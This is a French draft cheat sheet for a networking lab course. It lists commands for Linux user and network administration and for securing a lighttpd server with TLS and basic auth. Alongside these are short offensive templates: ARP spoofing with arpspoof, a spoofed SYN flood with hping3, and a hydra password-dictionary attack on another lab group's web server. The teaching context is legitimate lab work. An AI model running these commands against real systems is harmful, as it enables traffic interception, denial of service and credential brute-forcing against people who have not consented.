Show Menu
Cheatography

Refcard TP1 Réseau Cheat Sheet (DRAFT) by

.................................................

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Gestion des utilis­ateurs

Gestion des utilis­ateurs
Gestion du système
passwd <lo­gin>
hostname <na­me>
adduser <lo­gin>
reboot
login <lo­gin>

Sécuri­sation du serveur web grâce à SSL/TLS

Génération des certif­icats du site
Config­uration du site web
mkdir /etc/l­igh­ttp­d/s­ecurity
/etc/l­igh­ttp­d/conf- enable­d/t­ls.conf server.mo­dules += ("mo­d_o­pen­ssl­") $SERVE­R["s­ock­et"] == "­0.0.0.0­:4­43" { ssl.engine = "­ena­ble­" ssl.pe­mfile = "­/et­c/l­igh­ttp­d/s­ecu­rit­y/a­lce­st.p­em­" }
cd /etc/l­igh­ttp­d/s­ecurity
echo "­<us­ern­ame­>:$­(bu­sybox httpd -m '<p­ass­wor­d>'­)" > <auth file>
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 \ -nodes -out alcest.crt -keyout alcest.key
server.mo­dules += ( "­mod­_au­th", "­mod­_au­thn­_fi­le") auth.b­ackend = "­htp­ass­wd" auth.b­ack­end.ht­pas­swd.us­erfile = "­/et­c/l­igh­ttp­d/s­ecu­rit­y/a­lce­st.a­ut­h" auth.r­equire = ( "­/" => ( "­met­hod­" => "­bas­ic", "­rea­lm" => "­pas­sword requir­ed", "­req­uir­e" => "­val­id-­use­r" ) )
openssl x509 -in alcest.crt -text
systemctl start lighttpd
cat alcest.key alcest.crt > alcest.pem
systemctl status lighttpd
 
poweroff
 

Admini­str­ation de réseaux locaux

Config­uration dynamique
Config­uration Statique
Mise en place d’un serveur web
ifconfig
/etc/n­etw­ork­/in­ter­faces auto eth0 iface eth0 inet static address 192.16­8.0.1 netmask 255.25­5.255.0 gateway 192.16­8.0.254
startx
ifconfig -a
ifup eth0
busybox httpd -f -vv -h /var/w­ww/html
ifconfig <if­ace> <@I­P> netmask <ne­tma­sk>
ifdown eth0
/etc/hosts
ifconfig <if­ace> up
up echo 1 > /proc/­sys­/ne­t/i­pv4­/ip­_fo­rward
ifconfig <if­ace> down
ip -br addr
ip addr add <@I­P>/­<ne­tma­sk> dev <if­ace>
ip link set <if­ace> up
ip link set <if­ace> down
route -n
route add default gw <@IP passer­ell­e>
route del default gw <@IP passer­ell­e>
ip route
ip route add default via <@IP passer­ell­e>
ip route del default via <@IP passer­ell­e>
route add -net <@IP réseau> netmask <ne­tma­sk> gw <@IP passer­ell­e>
ip route add <@IP réseau­>/<­net­mas­k> via <@IP passer­ell­e>
ssh <lo­gin­>@<­des­tin­ati­on>
traceroute <de­sti­nat­ion>
ping
 

Man In The Middle

Le protocole ARP
arp -n
ip neigh
arpspoof -t <@IP machine qui va se faire pwned> <@IP machine dont on souhaite usurper l'iden­tit­é>
wireshark -i eth0 -k
echo "­/:<­use­rna­me>­:$(­busybox httpd -m '<p­ass­wor­d>'­)" > /etc/h­ttp­d.conf
busybox httpd -f -vv -h /var/w­ww/html -r "­Res­tricted Area:" -c /etc/h­ttp­d.conf

Deny Of Service

Attaque
hping3 --flood --syn --spoof <@IP source usurpé­e> <@IP victim­e>

Réseau étendu

Création du réseau
Attaque par dictio­nnaire
/sbin/­ifc­onfig
most <fi­le>
/mnt/n­ett­a/a­pps­/vn­et/­nem­u-vnet netadm
hydra -V -f -l admin -P <fi­chier de mots de passe> http-g­et:­//<IP nightwish de l'autre groupe>
[nemu]­-> slink()
[nemu]­-> clink(­'<@IP du groupe princi­pal­>')